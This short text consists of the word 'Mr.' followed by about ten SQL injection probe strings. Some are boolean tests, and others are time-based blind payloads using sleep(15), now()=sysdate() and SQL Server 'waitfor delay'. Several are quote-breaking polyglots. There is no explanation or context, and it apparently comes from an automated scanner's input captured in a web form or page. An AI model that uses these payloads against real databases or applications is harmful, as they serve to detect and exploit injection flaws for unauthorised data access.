Mr.

-1 OR 2+394-394-1=0+0+0+1 --

-1 OR 2+939-939-1=0+0+0+1

-1' OR 2+399-399-1=0+0+0+1 --

-1' OR 2+84-84-1=0+0+0+1 or '2T9NehBe'='

-1" OR 2+391-391-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --